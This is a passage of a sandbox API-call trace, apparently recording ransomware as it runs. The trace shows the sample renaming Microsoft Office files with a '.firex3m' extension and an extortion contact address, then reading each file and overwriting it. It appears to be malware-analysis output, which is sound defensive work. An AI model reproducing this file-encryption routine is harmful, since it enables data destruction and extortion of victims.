dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0190.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x377a01ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4491c, dwReserved0=0xa707496, dwReserved1=0x702e908, cFileName="TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEBD17~1.FIR")) returned 0x6d5480 [0190.480] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0190.480] Sleep (dwMilliseconds=0x1) [0190.493] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", len=0x38 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe") returned 1 [0190.493] GetProcessHeap () returned 0x630000 [0190.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3290) returned 0x74656a8 [0190.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0190.497] CloseHandle (hObject=0x5e4) returned 1 [0190.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCEX~2.FIR")) returned 0x6d5000 [0190.510] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0190.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0190.542] GetProcessHeap () returned 0x630000 [0190.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0190.543] GetProcessHeap () returned 0x630000 [0190.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0190.543] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.543] ReadFile (in: hFile=0x710, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.095] GetProcessHeap () returned 0x630000 [0194.095] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0194.095] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.095] WriteFile (in: hFile=0x710, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.108] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.108] WriteFile (in: hFile=0x710, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.319] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.320] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.320] CloseHandle (hObject=0x710) returned 1 [0195.320] GetProcessHeap () returned 0x630000 [0195.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0195.320] GetProcessHeap () returned 0x630000 [0195.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0195.320] GetProcessHeap () returned 0x630000 [0195.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0196.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a5d9b07, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1979a6c, dwReserved0=0xa707496, dwReserved1=0x719ec08, cFileName="lync.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCEX~2.FIR")) returned 0x6d53c0 [0196.300] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0196.301] Sleep (dwMilliseconds=0x1) [0196.317] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", len=0x3f | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 1 [0196.317] GetProcessHeap () returned 0x630000 [0196.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47a0) returned 0x7133a90 [0196.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0196.432] CloseHandle (hObject=0x42c) returned 1 [0196.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR10X~1.FIR")) returned 0x6d4f80 [0196.999] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0196.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0196.999] GetProcessHeap () returned 0x630000 [0196.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e21) returned 0x7001850 [0197.001] GetProcessHeap () returned 0x630000 [0197.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e21) returned 0x7008680 [0197.001] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.001] ReadFile (in: hFile=0x42c, lpBuffer=0x7001850, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesRead=0x55fff0c*=0x6e00, lpOverlapped=0x0) returned 1 [0201.323] GetProcessHeap () returned 0x630000 [0201.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0201.324] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.324] WriteFile (in: hFile=0x42c, lpBuffer=0x7008680*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7008680*, lpNumberOfBytesWritten=0x55fff0c*=0x6e00, lpOverlapped=0x0) returned 1 [0201.324] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.324] WriteFile (in: hFile=0x42c, lpBuffer=0x700f47f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x700f47f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.324] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.324] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.324] CloseHandle (hObject=0x42c) returned 1 [0201.324] GetProcessHeap () returned 0x630000 [0201.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7008680 | out: hHeap=0x630000) returned 1 [0201.324] GetProcessHeap () returned 0x630000 [0201.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0201.324] GetProcessHeap () returned 0x630000 [0201.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0201.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3df14825, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6e24, dwReserved0=0xa707496, dwReserved1=0x7001848, cFileName="ADR10.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR10X~1.FIR")) returned 0x6d5280 [0201.325] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.325] Sleep (dwMilliseconds=0x1) [0202.975] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl", len=0x78 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl") returned 1 [0202.975] GetProcessHeap () returned 0x630000 [0202.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4be4) returned 0x7133a90 [0202.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0203.521] CloseHandle (hObject=0x684) returned 1 [0203.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d5280 [0203.525] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0203.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0203.525] GetProcessHeap () returned 0x630000 [0203.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x74656a8 [0203.525] GetProcessHeap () returned 0x630000 [0203.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x71ec18 [0203.525] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.525] ReadFile (in: hFile=0x684, lpBuffer=0x74656a8, nNumberOfBytesToRead=0x43e0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74656a8*, lpNumberOfBytesRead=0x55fff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0205.675] GetProcessHeap () returned 0x630000 [0205.675] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0205.675] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.675] WriteFile (in: hFile=0x684, lpBuffer=0x71ec18*, nNumberOfBytesToWrite=0x43e0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ec18*, lpNumberOfBytesWritten=0x55fff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0205.675] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.675] WriteFile (in: hFile=0x684, lpBuffer=0x722ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722ff7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.675] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.675] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.675] CloseHandle (hObject=0x684) returned 1 [0205.676] GetProcessHeap () returned 0x630000 [0205.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ec18 | out: hHeap=0x630000) returned 1 [0205.676] GetProcessHeap () returned 0x630000 [0205.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74656a8 | out: hHeap=0x630000) returned 1 [0205.676] GetProcessHeap () returned 0x630000 [0205.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0205.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x408a04b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4408, dwReserved0=0xa707496, dwReserved1=0x74656a0, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d5580 [0205.676] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0205.676] Sleep (dwMilliseconds=0x1) [0207.744] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG") returned 1 [0207.744] GetProcessHeap () returned 0x630000 [0207.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c38) returned 0x6fe4288 [0207.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0207.745] CloseHandle (hObject=0x4e0) returned 1 [0207.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x18008c94, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f00 [0207.748] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0207.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0207.749] GetProcessHeap () returned 0x630000 [0207.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x50a1) returned 0x74d64c8 [0207.749] GetProcessHeap () returned 0x630000 [0207.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x50a1) returned 0x7128660 [0207.749] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.749] ReadFile (in: hFile=0x4e0, lpBuffer=0x74d64c8, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d64c8*, lpNumberOfBytesRead=0x55fff0c*=0x5080, lpOverlapped=0x0) returned 1 [0211.655] GetProcessHeap () returned 0x630000 [0211.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0211.655] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.655] WriteFile (in: 